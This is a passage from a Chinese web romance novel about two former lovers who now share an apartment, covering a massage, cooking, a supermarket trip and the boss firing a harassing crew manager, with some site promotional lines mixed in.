容微月捏着水杯呆住,杏眸圆溜溜的看他,半信半疑:“你被杜海滨打得浑身是伤吗?”
“昂。”
她嘴瓢说出实话,“那你也好没用哦。”
傅蔺征:“?”
他气笑,“容微月,你能不能有点良心?”
她窘然收口,连忙恭维:“我的意思是,我以为他浑身一瘫肥肉不是你的对手,你那么厉害,谁能打得过呢。”
傅蔺征偏眼,压抑嘴角弧度,“是么。”
“……”
她是又给他夸爽了吗?
傅蔺征倒了杯水:“我今晚一个人过去,那个畜生身边还有几个朋友,虽然老子的实力还是无可匹敌,把所有人放倒了,但他们也用棍子挥了我不老少下。”
用棍子?!
这人解释得有鼻子有眼的,容微月望着他痞帅的脸,还是有点不相信:“可你看过去……不像被打了的样子,脸上都没伤口。”
“……没听过**不打脸?”傅蔺征轻嗤,“而且一棍棍都挥在身上,受的是内伤,不然我把浴袍脱了你检查看看?”
见他去拨弄浴袍带子,容微月脸红立马阻止:“不用……我就是感觉,你今天状态还挺好的。”
他扯唇:“怎么,我非要一瘸一拐到你面前你才信?我故作坚强了一个晚上看不出来?”
“……”
傅蔺征喝完水,站直身子:“算了,不想管也没事,我疼着疼着也习惯了,这么多年我都一个人挺过来的,睡不着就睁眼到天亮呗,接下来几天躺在床上吃着止痛药熬过去了,反正我今晚去揍人的时候,从来也没求某人有什么回报。”
容微月:“……”
傅蔺征转身欲走,下一秒衣袖却被扯住,小猫咪眨着澄澈的眸子,于心不忍开口:“那……那你实在很疼的话,我帮你按摩一下吧?”
从前他真的为她受过很严重的伤,今晚又帮她出了头,她是不可能不管的。
傅蔺征单手插兜,偏眼压平唇角,语调淡如平常:“行啊,那来吧。”
两人去了客厅,角落里呼呼缩在面包狗窝里睡得正香,半
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夜微弱的霓虹灯火透过落地窗静谧地涌进来。
男人坐到沙发上,长腿松松垮垮微敞,颀长身影隐没在昏暗的光线里。
容微月走过去,心跳像乱拍的小鼓,不好意思去开灯,试图将一切隐在暗处。
她轻声问:“先帮你按哪儿?你哪儿疼?”
“浑身上下,都疼。”
“……”
她让他说个准确的,傅蔺征示意肩膀,她绕到他身后,正要伸手,谁知道傅蔺征修长的手把窄腰间束的带子随意扯开。
他冷峻的肩胛线条露出,浴袍滑下,经过长期锻炼后的紧绷起伏、沟壑分明的肌肉映入眼帘。
他后背刻着幅血脉贲张的潮汐刺青,墨线沉沉,棱角凌厉利落,在昏暗灯光下仿佛波涛翻涌,如狰狞的血兽蛰伏其中,低沉而压迫。
她呼吸一滞,脑中顿时炸了,“你、你干嘛脱了……”
“不脱怎么按?”
傅蔺征偏头看到她乱飘的眼神,低笑开腔:“容微月,你紧张什么?心思又不单纯了?”
“我都没说被你占便宜,你还不好意思上了。”
容微月:“……”
她只好偏开眼,指尖按了上去,他肌肉触手滚烫而扎实,男人肩膀宽阔,她视线想避开,却忍不住往下,看到她送的那条银黑色的古巴链泛着清冷的光,上方凸起的喉结微微滑动。
傅蔺征野性的荷尔蒙气息蓬勃而出,慢慢点燃空气,烧得氧气稀薄。
容微月想到重逢那天,商场外部大屏里他的那张硬帅的广告海报一度火爆全网,评论区有人说,难以想象傅蔺征这背部肌肉绷紧耸动用力的样子,该有多色气。
曾经她在上面留下过不少抓痕,后来傅蔺征看到了,哑声笑:“你是小猫啊宝贝。”
容微月把脑中的回忆赶走,努力什么都不想,半晌温吞问:“我力气有点小,这样可以吗……”
她力道对他来说的确轻得像在挠痒痒,可鼻息都是她身上清甜的青橘气息,傅蔺征心底再度发燥,喉结滚动,“嗯,凑合。”
“要不我去给你拿筋膜枪?我房间里有,那个电动的比我力气大多了。”
“不用,”她试图偷懒,就被他抓回来,“筋膜枪太疼,就这样刚好。”
她只能继续,帮他按摩了两分钟,“可以了吗?”
“就这样啊?”
“我手酸了……”
容微月声调闷软中仿佛带上娇气,跟从前一样,哄她帮他弄了会儿就说手酸,傅蔺征扯唇:“行,你休息下。”
容微月去给他拿了片之前她用的消肿膏药,突然反应过来:“不对,你后背好像没有青紫啊?”
他沉默了下,轻咳两声,“前面很多,你
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看看?”
“……不用了。”
主要是客厅没开灯,她看得也不是很清晰。
傅蔺征穿上浴袍,容微月要走,他叫住她,“去哪儿?”
“不是按完了吗?”
“其他地方不管了?”
她忍着问他还有哪里疼,他说手臂,于是她坐在他身旁,连忙道:“你别脱浴袍了,这样可以按。”
傅蔺征扯唇:“刚才已经给你免费看了两分钟了,现在你想看我还得收费。”
“……”
这人怎么能这么臭屁?
容微月帮他按摩着,男人手臂肌肉鼓动,几条的青色血管蔓延,她一个掌心都握不住,力量感满满,一只手就足够抱起她。
青橘气息和薄荷味道在空气勾织,她垂着头,却感觉傅蔺征的目光若有若无落来,仿佛能在她脸上烫出个洞。
这是同住以来,他们第一次如此直接的接触。
夜色太深,氛围不禁渐浓。
她心不在焉按摩完,“好了……”
下一刻,傅蔺征却突然朝她倾身而来,仿佛将她整个人圈进怀中。
容微月连忙后仰了一下,后背贴上沙发,被傅蔺征强势的气息包围,心跳踩空,连呼吸都乱了几拍:“傅蔺征,你干嘛……”
男人没说话,却更近一步,胸前微敞的浴袍与她薄如蝉翼的真丝睡裙不经意地贴在一块,热度交叠,摩擦出火花。
她脑中空白,就见傅蔺征随后拿过她身后沙发上的手机,近在咫尺间的黑眸直直倒映着她,盯着她红唇的眼底墨色翻滚,几秒后挑起眉梢,嗓音喑哑:
“我拿个手机,你脸红什么?”
“……”
这人就是故意的吧?
她红着脸起身,傅蔺征懒懒窝在沙发上,语调浑得要命:“我大腿还疼,不按了?”
按他个头。
她把膏药扔在他身上,“不管你,你自己弄吧。”
容微月回到卧室,立刻关上门,脸上像是用热水烫过的小西红柿。
刚才,她竟然以为傅蔺征想吻上来。
她翻身把脸埋进被子里。
不对,肯定是大晚上她思绪混乱,又乱脑补了。
下次她这么晚再也不出卧室了……
-
这个晚上,凌晨两点多,容微月才压下乱七八糟的心绪,勉强入睡。
好在第二天是周末,不用去工作室,她直接睡到了日上三竿。
下床洗漱完,她才彻底清醒,去衣柜挑了件宽松的日系棉质浅杏色长裙,裙摆柔软垂落到脚踝,扎了个松松垮垮的丸子头,温柔又干净。
她走出去,在客厅撒泼打滚的雪团子闻声跑过来,穿着奶黄色衣服,头上还歪歪扭扭夹了个小黄鸭发卡,小
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短腿迈得飞快,尾巴像棉花糖一样晃着,朝她发出几声软绵绵的小哼唧。
这是又被傅蔺征打扮了吗,好可爱……
容微月笑着抱起它,哼着歌往前走,室外阳光透过落地窗明晃晃照进大平层,干净明亮,本来她还在想今天中午给自己犒劳什么大餐,谁知视线一转,却看到傅蔺征在厨房。
男人一身宽松黑T长裤,袖口随意挽起,正在中岛台的水池前洗着东西,阳光打亮了他几分慵懒的气质。
她声音猛地停住。
傅蔺征竟然在家?
水声潺潺,傅蔺征闻声撩起眼皮看她一眼,开口语调松弛:“难得,看到你睡到太阳晒屁股了才起来。
她微窘:“这几天太累了,补个觉。
傅蔺征吊眉,“哦,我还以为是昨晚我害你晚睡了,还想和你道个歉呢。
“……
容微月不想搭理他,走去泡蜂蜜水。
她转头看到他洗着排骨,故作随意问:“你今天怎么没去训练?
“容微月,你就这么盼着我不在家?我昨天刚比完赛你就让我去训练?
“没有……
他洗好排骨,慵懒嗓音再度响起:“感冒好点没有,还难不难受?
“好多了,就是还有点鼻塞。庆幸昨天的麻辣水煮鱼没有加重她的病情。
“中午老老实实喝粥,我刚好多买了排骨山药做减脂餐,分你点煮。
“噢,谢谢……
本来她打算点外卖,没想到他现在做饭都会顺手帮她做一份,她走过去看着他的动作,又想到那个他戴着头盔做蛋炒饭的梦了:“你……会煮这粥吗?
傅蔺征喉间滚出嗤笑,“我有什么不会的?
容微月沉默两秒,忍不住提醒:“这排骨放到砂锅里应该要先焯水,不然粥里都是血沫,葱也不能一整根直接加进去,要切断,还有,你买的这个是茭白,不是山药。
“……?
傅蔺征咳了咳:“昂,是这样,你和我讲话,我都走神了。
……所以还怪她了?
身为厨房小学生的她实在看不下去他这个幼儿园学生,“不然我来煮吧。
“不用,山药我买了,就是拿错了而已,感冒了她还想碰水,“去客厅待着,别在这儿传染我。
容微月管不了,只好离开厨房,陪呼呼玩了会儿,傅蔺征不知道在厨房又打了怎样的仗,迟些时候终于叫她:“过来吃饭。
她走过去,看到桌上有一锅热腾腾的粥,还有一盘切得歪七八扭的皮蛋豆腐,和煎得略焦的鸡蛋饼,和一份努力摆盘好的葱油菜心。
这些菜都是他清晨就出门买的,在厨房研究了好久,小
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姑娘生病了,他也不知道该煮什么,但是不想让她吃不健康的外卖。
她怔了怔,“你做了这么多吗……
傅蔺征把筷子递给她:“有时间就多做点,凑合吃吧。
“谢谢,很丰盛了。
她舀了碗粥尝尝,发现味道竟然还可以,还挺鲜的。
努力多吃了点,饭后傅蔺征又监督她吃了感冒药,而后出门去处理公事。
下午容微月一个人在家整理设计稿,手机里进来一个微信好友申请,说是《霜雪吟》的工作人员。
她点了同意,对方自我介绍说叫陆慧:
【容小姐您好,我是《霜雪吟》新的道具组负责人,接下来由我来负责和您对接[玫瑰],原来的杜主管被辞退了,辛苦您周一再把饰品画稿发给我。】
陆慧发来一则截图,上面是十分钟前发在剧组内部的公告:
【致全体剧组成员:
因本剧组负责管理饰品和道具审核导演杜海滨严重违反职业操守与行为规范,出品方决定即日起解除其全部职务,永久终止其与明恒集团的一切合作。
出品方已启动内部整顿流程,望全组引以为戒,类似事件一经查实,必将严肃处理,绝不姑息。
——出品人傅蔺征】
这份直接来自最顶层的严正声明在全剧组炸锅,杜海滨一夜之间已经被全行业**,没人知道他到底做了什么,竟然会惹到了大Boss。
她没想到傅蔺征处理事情如此决绝……
容微月看着,心头如被羽毛扫过最柔软的一角,微微发烫。
周末过去,她的感冒好得差不多,本来要复发的腱鞘炎,也因为晚上被傅蔺征抓去看了趟中医,热敷后得以缓解。
周一早晨,容微月去工作室,员工们得知了杜海滨被辞退的事,拍手称快,问发生了什么,容微月不好意思说,只说他做的事被领导查到了。
随后她把设计稿件发给陆慧,没过多久,导演竟然给她打来电话,代表剧组和她郑重再道个歉,并提出了金钱方面的补偿。
容微月接受了道歉,这到底也只是杜海滨的问题,而且这合作她还想进行下去。
周二,容微月从陆慧那边收到了修改意见。
对方说,画稿基本上不需要再做改动,只要修改下细节处,杜海滨有些意见确实提的没毛病,但她最初的设计大多数就很好了。
于是接下来的几天,容微月还是在改稿。
晚上回到家喂完呼呼,她倒了杯水就回到了卧室继续画稿子,十点多就直接洗漱睡觉。
早晨她也很早就出门了,没有在家吃早餐。
晚上她画着稿,敲门声响起,她扭头问有什么事,傅蔺征慵
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
懒的声音传来:“有没有空去遛呼呼,履行一下你这个当妈的责任。
容微月和他道歉,“我工作还没处理完,今晚没空,能辛苦你去吗?
“那你出来吃点水果,我刚好多买了点。
“不饿,你自己吃吧。
傅蔺征:“……
得,好不容易骗她同住一个屋檐下,还能好几天见不到人影。
傅蔺征说了句放在外面了,走去厨房,把车厘子和草莓洗好,装在她的水果盘里,又装了一碗热乎乎的银耳红枣羹,盖上盖子,全部放到水吧桌上她的水杯旁。
走出厨房,他看到白团子还蹲在卧室门口,扒拉着门板,毛绒小爪噗叽噗叽拍着,小尾巴摇得像个电动马达,但门愣是没开。
傅蔺征嗤笑:“使尽浑身解数,你的魅力也不过如此。
呼呼:……
小家伙似乎听懂了,转头不爽地朝他嗷嗷叫了下,傅蔺征走过去,把孽子抓了起来,“走了,别吵你妈工作,女人事业第一家庭第二,你懂事点行不行?
呼呼郁闷耷拉下脑袋。
时间过得很快。
几天后的下午,晴月阁工作室里,容微月正在画稿,手机进来条傅蔺征的信息:
【你的车修好了。】
容微月惊讶:【太谢谢了,我去哪
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儿提车?】
傅蔺征没回答:【你今天几点下班。】
她看了眼桌面上的钟:【五点差不多。】
傅蔺征:【过去,把车开给你。】
她怔愣了下,道谢。
傍晚时分,夕阳缓缓坠入地平线,金橙色光晕洒满路面。
容微月在办公室里,忽而听到外头传来一道低沉撕裂的引擎声浪,疑惑看去,一辆酒红色超跑停在门口,车牌后四位是再熟悉不过的0831。
她愣了下,赶忙拎着包走出去。
走下台阶,她就看到傅蔺征下了车,身形挺拔气场,墨黑风衣随着风扬起衣摆,眉目桀骜,冷欲沉沉,乌黑短发略微凌乱,夕阳下那颗眼皮上的黑痣泛着微光,勾得人心头一颤。
他倚向车门,正直直看向她。
她疑惑走到他面前,“我的车呢……
傅蔺征懒洋洋道:“我让人直接开回去了。
?
她心间微颤,“那你怎么来了……
傅蔺征俯身看她,低撩嗓音落在她耳畔:“容微月,你能不能讲点良心,上周刚帮的你,这周就见不到人影了,见到我就躲是吧?得鱼忘筌。
好几天都见不到她,他不得不把车搬出来。
“……
难得被他用这么正经的成语怼,她软声解释:“没有,这几天太忙了,一直都在赶稿。
容微月最
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近开的是他给她的阿斯顿马丁傅蔺征却拿过她车钥匙“上我的车回头我自己过来开。”
容微月:???
傅蔺征:“刚好有时间一起去接呼呼下午它被送去洗澡了再去趟超市给它买点吃的。”
也行她也想去趟超市买点东西。
很快酒红色的四座兰博基尼利落驶出文化创意园大门室外金灿灿的夕阳落下来。
容微月手机“叮”了下她拿起一看眼睛旋即弯成月牙身旁傅蔺征问:
“什么这么开心?”
没想到小表情都能被他捕捉容微月大方和他分享:“刚刚收到了剧组打来的第二笔款项速度太快了。”
傅蔺征勾唇“这就开心了?”
“赚钱当然开心不然那么辛苦是为什么。”
她想到之前的事认真看向他:“傅蔺征我听说杜海滨被辞退了导演说现在审核都要从你这里过一遍而且他们很满意我们工作室的设计估计很快就定稿了谢谢你。”
傅蔺征扯起嘴角“感谢我什么?是你自己画得好。”
“那也要谢谢你出面解决杜海滨的问题。”
“他存不存在也不影响你的水平。”
傅蔺征嚼着青橘糖指尖轻敲方向盘“当然了我知道你背后的意思面对我这样的人一般人是很难克制住爱慕之心的你平时竭力忍耐很辛苦了想夸可以多夸点。”
“?”
听到他这串连珠炮似的话她人都傻了“傅蔺征有时候我挺羡慕你的。”
他挑眉“怎么。”
“我如果也有你如此强大的配得感和稳定的厚脸皮每天肯定也会很快乐的你能开班教我吗?”
“……”
傅蔺征轻笑了声转头看她唇角勾起如从前少年般肆意的弧度:“开班不行
容微月对上他目光心脏被轻轻敲了下。
从前好像真是这样同学们都喜欢和傅蔺征玩儿他性格开朗阳光说话臭屁但不让人觉得反感因为他不从会贬损别人也不会看不起普通同学更不会对女生开黄腔他在哪儿都会发光吸引人的目光。
不知道为什么最近和他同住她的心情和状态比从前好了很多。
过了会儿兰博基尼靠路边停下傅蔺征让她在车上等着下车走进宠物店很快把呼呼抱出来。
男人打开后车门把它放到后座呼呼呜哼似乎在不满他轻嗤:“叫什么副驾的位置是**轮不到你以后你都坐这儿。”
呼呼:……
呼呼委屈趴在座位上容微月听到脸颊微热
听说看这本书的人都是很幸运的,分享后你的运气会更棒
,傅蔺征上了车,容微月问:“它喜欢坐前面?”
“嗯,它喜欢坐在副驾吹风,抽屉里有它零食。”
“那我把它抱到前面来吧。”
容微月转头把毛茸茸如雪球的呼呼抱到怀中,笑着揉揉它的头,呼呼可爱地在她怀中蹭蹭。
傅蔺征无语收回目光。
一天天的除了使唤亲爹勾引亲妈,这玩意儿还会干什么?
容微月从抽屉里拿出个小肉干,给呼呼喂着,傅蔺征转头看到夕阳的灿烂金光倾倒在她身上,她酒窝点起,睫毛扑闪如蝶,笑颜灿烂明媚。
他心底柔软塌陷,无声勾唇。
过了会儿到达超市,停好车,两人下车。
往商超门口走去,傅蔺征把狗绳给她,还有个小垃圾袋:“我接个工作电话,你先牵着它。”
“好。”
晚上夜幕初降,正值下班,超市门口的一条商铺街人来人往,热闹点着灯火,吆喝声四处传来,呼呼激动地往周围打量,格外兴奋。
忽而容微月手上一个没抓稳,呼呼挣脱开她,往前跑去。
“呼呼……”
它蹦蹦跳跳朝前跑,毛茸茸的身子像雪团子,最后跑到一个品牌广告牌下的花花那边,那边有几个左右摇晃的气球,他激动地扑着。
容微月小跑追过去,连忙牵起牵引绳,无奈笑:“呼呼,不能乱跑知道吗……”
呼呼绕着花花转,这时傅蔺征打完电话,走到她旁边,“怎么了?”
“我刚刚差点没拉住它。”
“这家伙一出来就撒欢,给我牵。”
傅蔺征接过绳子,两人要往前走,这时店门口的工作人员看到容微月,又看到她旁边的傅蔺征,男帅女美登对得像从电视剧里走出来似的,立刻笑着走上前:
“小姐姐小哥哥,打扰一下,我们是‘致乐’,一家致力于开发两性乐趣的品牌,今天门店有活动哦,全场促销。”
容微月觉得耳熟,视线一抬——
竟然是曾经买过的某个情.趣用品的品牌线下商店。
她怔了下,还没反应过来,推销员已经热情介绍起来:“小哥哥小姐姐可以进店逛逛,我们店主打探索两性亲密乐趣,有很多适合情侣一起玩的产品,什么需要都能满足哦。”
容微月:“……”
被当成了情侣,她耳根如着火般,刚摆手想解释什么,随后傅蔺征淡淡声音落下:“走了。”
傅蔺征拉着她往前走,没想到推销员追上来,热情把手上的小礼物递给他们:
“没关系,不进店也可以的,这是我们家人气爆款的‘极炽’系列小伞,体验装赠送给你们哦。”
容微月看过去,瞬间红了。
这款曾经他们用过……
推销员跟上来,不依不饶:“这款我们家反馈很好哦,你们一定会喜欢的。”
曾经她和傅蔺征一个晚上能试好几种款式。
回忆浮现脑中,容微月脑袋空白,就见傅蔺征扫过去了眼,懒懒散散的腔调落下,如从前般:
“不需要,用过了太厚,女朋友说体验感不好。”
“……”
唔……她的脸砰得红炸了。
〓作者有话说〓
[狗头][狗头]注重妹宝体验的傅狗狗
六年了,不会每一款你都记得吧!![害羞]
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288个前排红包,嘿嘿嘿爱你们呀~月底有多余营养液的宝宝们可以送点呦,帮助征哥和月月的小树苗快点成长,喜欢本书可以点个收藏+作者专栏收藏,我还写过很多甜文哦
第 25 章 “这个家没活需要你干。”...
第25章第二十五章
【“这个家没活需要你干。”】
chapter24
容微月想到毕业那时候傅蔺征买了好多款式每个都想要和她试试。
有次用了这个傅蔺征又浑又坏非要让她说感受她脸颊红成了桃子靠在他怀中小声道:“不喜欢这个。”
“为什么?”
“就感觉太厚不够清晰没有上一个好第一个就像是你没……”
傅蔺征眼底卷起暗火翻身将她困在胸膛下掐住她腰勾唇:“嗯?我没什么?什么不够清晰啊?”
她眨巴着水眸软软说了两个字直白得让傅蔺征要疯了吻她天鹅颈沉沉喘气:“宝宝你胆子怎么这么大啊?”
她羞然呜嗯了声傅蔺征哑声说再试试其他的那晚的细节她记不清了只记得最后垃圾桶里好几个白鼓鼓的她都累得快晕过去第二天连走路都难。
此刻傅蔺征的声音落下如平地扔惊雷容微月心脏猛地一颤脸上炸开大片热意。
不是这人怎么不否认他们的关系而且还记得那么久之前的事……
推销员闻言识趣离开了容微月脸颊像是烤箱里松软的面包浑身热乎乎的抬头看向傅蔺征羞得质问:“你干嘛那么说……”
男人吊儿郎当道:“我要不这么说她能彻底死心?”
“……”
他笼下眸淡看她一眼:“而且——”
他说的也是曾经的事实。
容微月猜到了他未说出口的后半句心跳怦怦乱跳脸红到脖子根试图怼他但说不话来。
她往前走羞赧压灭思绪。
算了成年人有什么不好意思的。
他说不定后面还和其他的女朋友试过呢……
跟着傅蔺征走进室内这是高端宠物友好超市允许小型犬入内容微月把呼呼抱起来放到专用的宠物坐垫上。
呼呼舔她手手四处看着像个好奇小朋友她摸摸它的头接过购物车说她来推吧:“我想去买点洗衣液你有什么要买的吗?”
傅蔺征懒洋洋走在她旁边:
“你买呗我边走边看。”
最近忙
容微月面露纠结:“我喜欢这款但是今天没做促销有点贵……”
傅蔺征直接拿了她喜欢的放进购物车声线拽懒:“这是公共区域用品我用不了便宜的懂吗?”
……好吧大少爷的确这么挑。
往前走是一排的女
你的朋友正在书荒,快去帮帮他吧
性生理期用品,容微月听到头顶落下男人稀松平常的嗓音:“这些不买么。
“嗯?
他淡淡道:“你例假不是快来了。
容微月愣住,之前被人恶意别车那晚,傅蔺征开车送她回家,她例假来了痛经,没想到他看出来了……
之前高中时她的经期傅蔺征就记得比她还牢,来的前一周就让她少吃点冰的,他书包里会提前放着卫生巾和布洛芬,来的时候就给她冲红糖水,贴暖宝宝,班里抽屉还多备着一件干净的厚外套,就是怕她着凉。
一开始她觉得有点不好意思,傅蔺征却道:“例假这不是很正常的生理现象,有什么好羞的?而且身为你男朋友不就该这么照顾你?
她被他照顾着,似乎什么都不需要操心。
六年过去她的生理期早就变了,而且很不稳定,有的时候两个月才来一次,她自己都不去记,可没想到傅蔺征却记住了。
她心弦轻颤,咕哝应了声,最后去挑了几包。
从日用品往前,两人到零食区,容微月想去买点零食,谁知道傅蔺征都率先把她想买的拿下。
他拿了两包虎皮凤爪,转头看她:
“香辣口味的?
“嗯。
他又拿了爆米花,问她:“焦糖口味?
“嗯……
他精准猜到她喜欢的口味,让人不禁疑惑,“你怎么知道我喜欢吃什么?
傅蔺征悠然道:“刚好,这也是我喜欢吃的。
噢……
几秒后他懒声再度落下:“同住这么久,你在客厅看电视的时候嚼来嚼去的不就那几样,我观察力有那么差?
她就在客厅吃过几次零食,他都留意了?
走到薯片架前,傅蔺征耷拉下眼看她:“身为室友,考考你,我最喜欢吃什么味的薯片?
她懵然眨巴眼睛,努力回忆从前,没印象了:“应该……黄瓜味?
傅蔺征轻嗤:“行,夏斯礼喜欢五条悟,你从高中记到现在,我的你都不记得。
“?
“容微月,果然你没心。
“……
容微月发现自己似乎真的没有刻意留意过他喜欢什么,本来他们现在的身份也没必要留意,可和他刚刚举动对比之下,她莫名觉得自己犯了错误。
她窘然探究:“那你喜欢什么口味?麻辣味?烧烤味?番茄味?
傅蔺征吊起眉梢:“我压根就不爱吃薯片呢。
“……
不是,她能打他吗?
过了会儿买完零食,她推着购物车往前走,前方两个孩子在打闹,其中一个前脚搭在购物车底座,后脚一蹬,整辆车往她这个方向冲来。
她毫无察
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
觉,车子即将撞到她手腕的前一刻——
一只骨节分明的手快速从旁伸出,宽大掌心牢牢覆住她的手掌,一个高大的身影毫不犹豫地挡在她身前。
傅蔺征被那车子撞得往前一步,更靠近她,宛若将她护进怀中。
她手臂撞到他结实的身躯,热意扑面而来,男人高大的身影笼下来,掌心的热度一点点渗入她皮肤,如同电流蔓延开麻意。
她心脏漏跳一拍,抬头对上傅蔺征的眼。
他的眼睛黑沉炽热,倒映着她白瓷若雪的脸颊,喉结上下微滚,呼吸不稳了几分。
时间宛若拖慢了节拍。
她呼吸绷紧,脑中空白了瞬,心河微涟。
很快一个家长连忙过来,和他们说了声抱歉,骂骂咧咧带着孩子离开。
她怔愣中,傅蔺征松开手,低沉声音落下:“推车的时候手别扶在侧边,容易被夹被撞不知道?
“噢……
容微月垂眼轻声道谢,傅蔺征接过购物车:“站旁边去,我来推。
容微月温吞应了声,跟着他走到水果区,她说有点想吃砂糖橘:“你要吃什么?帮你一起称。
“你挑你喜欢的,多来点一起分,再买点香蕉和蓝莓给呼呼。
“好。
她买完去熟食区,有许多食品做促销,有个坚果蛋糕打折,她拿了盒打算当明天的早餐,傅蔺征眉心微蹙:“这是两天前做的,不新鲜了。
“没事,后天才过期,明天能吃得完。
傅蔺征无奈,“我要吃当天现做的,给我拿一盒。
她帮他拿了,随后去冷藏区找促销的鲜奶,有买一赠一的活动,她正要拿,傅蔺征实在看不下去了,拧眉拦住:“这种快过期了。
她看了眼日期,“还有三天,喝得完。
傅蔺征脸黑:“高中的时候你吃了点不新鲜的就上吐下泻,自己肠胃有多脆弱不知道?
现在又是临期蛋糕,又是临期牛奶,万一吃出毛病怎么办?
他看到她平时在家里但凡煮东西吃都是很简单的食材,素菜居多,肉都很少,冰箱里除了一些蔬菜鸡蛋,就是速冻饺子包子,唯独那次请客给他做饭才买了贵的松叶蟹,还有之前租在那样的老破小里,那次他偷偷跟着她回家,看到她在水果店也是挑便宜的买。
高中时容微月吃穿用度不算奢华,但毕竟是出生在书香名门的,怎么会缺这点。
“你不是刚说收到了剧组打来的钱,至于这么省?
容微月抿了抿唇,摩挲着牛奶罐上的水珠,轻声言:“我可能习惯了吧,大学我都这么吃的,因为要勤工俭学赚生活费,所以得省着点花。
当时周内她在学校
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的食堂兼职,周末要去外面的艺术机构上课赚外快,大一刚开学交完住宿费书本费那些,她口袋里只剩下百来块,自己在宿舍煮了半个月的青菜挂面,都快吃吐了。
傅蔺征微怔:“你家里人为什么没给你钱?
她眼底微颤,“……我不想要,我一个人可以养活我自己的。
傅蔺征看着她柔净的侧脸,眼底沉沉。
前几年他在国外训练、比赛、应酬,过得风头无两的生活,而她一个人在离家那么远的地方,不知道吃了多少苦头。
难怪她瘦成这样。
苦涩蔓延如针扎进了他心口。
傅蔺征黑眸翻滚情绪,容微月对上他目光,似乎捕捉到了心疼,怔了下轻轻出声:“没事,我肠胃现在好多了,没那么脆弱的。
傅蔺征沉着脸把她拿着的放回去,拿过一个大罐新鲜日期的牛奶,声音低哑:“牛奶我也喝,这种大瓶的两人分更划算。
她算了发现真的如此,点点头。
傅蔺征拿了一些肉和蔬菜,最后买完呼呼的东西,走去自助柜台结账。
满满一个购物车的东西扫码了半天,快扫完时,傅蔺征对她道:“呼呼口渴了,你给它喂点水。
容微月看过去,小家伙的确在扒拉水壶。
她跑去给它喂水,回来时发现已经结账完了,屏幕退回了主页面看不到金额,她怔愣去拿小票,“我算一下和你A。
傅蔺征一把扯过揣到自己口袋里,“你在大街上和我算这个?
“那你回去记得告诉我价格。
傅蔺征无奈嗤,“行了,走了。
东西装了两大一小三个袋子,傅蔺征两只手轻飘飘拎起往前走,容微月牵着呼呼跟上去:“拿得了吗?我帮你拿个小的吧?
男人转头睨她:“用不着,我还能再拎起一个你信不信?
“……
他那力气她是见识过的。
走出超市,外头天色已完全黑透,马路对面霓虹灯斑驳,街头人群三三两两,有孩童嬉笑追闹,也有情侣相依而行。
傅蔺征提着东西,容微月牵着呼呼跟在他身旁,看到有一对中年夫妇牵着一只狗狗和他们擦肩而过,讲着话,满脸甜蜜笑意,像是刚吃完饭出来散步一样。
是她曾经期待的婚后的美好画面。
后来,她也没再奢望过了。
她悄然看了眼身旁的傅蔺征,路灯灯光在他身上镀上几分温和的光晕,她突然也有一种他们仿佛也是情侣的感觉。
她耳根微热,掐灭不该有的思绪,到停车场,傅蔺征把车钥匙给她,熟稔般道:“开后备箱,然后抱着呼呼先上车。
她应了声。
霓虹夜景
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代替夕阳照亮城市回到禾盛庭容微月看到自己原来的车已经停在停车场了外表似乎喷了漆明亮如新坐了上去她摸着方向盘和坐垫发现触手柔软全部的皮革都换了特别舒适。
启动车子方向盘精准灵活反应也比之前更加顺畅之前的电池问题也没了。
她震惊:“傅蔺征你额外帮我保养了这么多吗?一共费用是多少?我给你转。”
“不需要。”
“啊?”
他懒洋洋:“我们车队弄你这车不是随随便便?顺手的事我也没算过。”
她欲说话傅蔺征压根不让“行了上楼肚子不饿了?”
她只好作罢回到家傅蔺征让她去整理买回来的东西他拎着牛排和意面去做晚餐。
吃完饭俩人各自忙碌迟些时候容微月洗完澡坐到床上给傅蔺征发信息:【超市的钱算好了吗我给你转多少?】
等了十几分钟那头仿佛故意拖延一般才发来信息:【200.】
容微月:??
【买了那么多东西怎么可能才200?你把小票拍给我看看。】
那头傅蔺征靠着桌子擦拭湿漉漉的黑发直接把金额过千的小票扔进垃圾桶敲击屏幕:【找不到了估算了就这个数。】
容微月:【你算得有问题吧今天你买的牛排都好几百了。】
傅蔺征买的是品质很好的牛肉她以为是他自己吃可今晚他给她煎了一块
那头回复过来条语音声线慵懒:“你买的东西就这些钱其他的签租房合同的时候规定过公共用品我出钱因为我要求高你是被迫迁就我的消费水平怎么难不成你想违约?违约金是三个月租金啊。”
容微月:啊???
她没想到这合约还能这么“霸道”还是认真和他道:【我知道你生活水平高但不管怎样我还是要付点钱不能占你便宜。】
傅蔺征拖腔带调:“容微月你平时占我的便宜还少啊?”
“……”
她让他说正经的五分钟后傅蔺征发来信息:【我最近没时间你给呼呼买点玩具和冬天的衣服以后它冬天的ootd你来负责了。】
容微月愣了下不禁莞尔:【好。】
傅蔺征:【别买贵的挑性价比高的最近表现这么差让它过点贫苦生活。】
哪里呼呼最近那么乖……
她连忙去购物软件给小少爷挑衣服其实她老早就想给呼呼买东西了但她发现呼呼身上都是奢侈品品牌光一个项圈就两三万所以她一直不敢买怕档次太低傅蔺征会嫌弃。
傅蔺征给她发来几个平
听说看这本书的人都是很幸运的,分享后你的运气会更棒
价品牌,说质量好让她去里面挑,她感觉跟给小宝宝挑婴儿装似的,好有趣。
她挑着,也想再送点什么给傅蔺征,以表感谢。
一夜过去。
翌日清晨,傅蔺征醒来下床洗漱,换好衣服,拿着手机走出卧室,看到容微月昨晚十二点多发来的好几张订单截图。
呼呼也醒来了,跑来朝他摇尾巴打转,傅蔺征扯唇:“你看你妈对你多宠,衣服给你挑了十来套,我都没这待遇,好不容易给条项链还差点给要回去。”
呼呼用爪子拍拍他的手。
似乎在表示安慰。
傅蔺征揉揉它下巴,“平时多黏着你妈点,她最喜欢你了。”
给呼呼喂了早餐,傅蔺征打开冰箱,看到里面的两盒坚果蛋糕,拿了出来,打开快过期的那盒,三下五除二塞进嘴里,忍下干巴全吃掉,而后把另外一盒新鲜的装在盘子里,俩盒子扔去垃圾桶。
冰箱里还有小姑娘之前买的吐司、豆奶等不太新鲜的促销食品,他想到昨天她说的,心疼蹙眉,把东西拿出来全部消灭。
早上八点多,容微月醒来走去餐厅,傅蔺征已经走了。
她看到餐桌上摆了一盘坚果蛋糕,还有水煮蛋,切好的猕猴桃香蕉,还有一份生菜沙拉。
他又刚好给她多准备了份早餐了吗……
走去打开冰箱,她想去拿昨天还剩下半瓶的牛奶,却发现之前那些临期的东西都不见了。
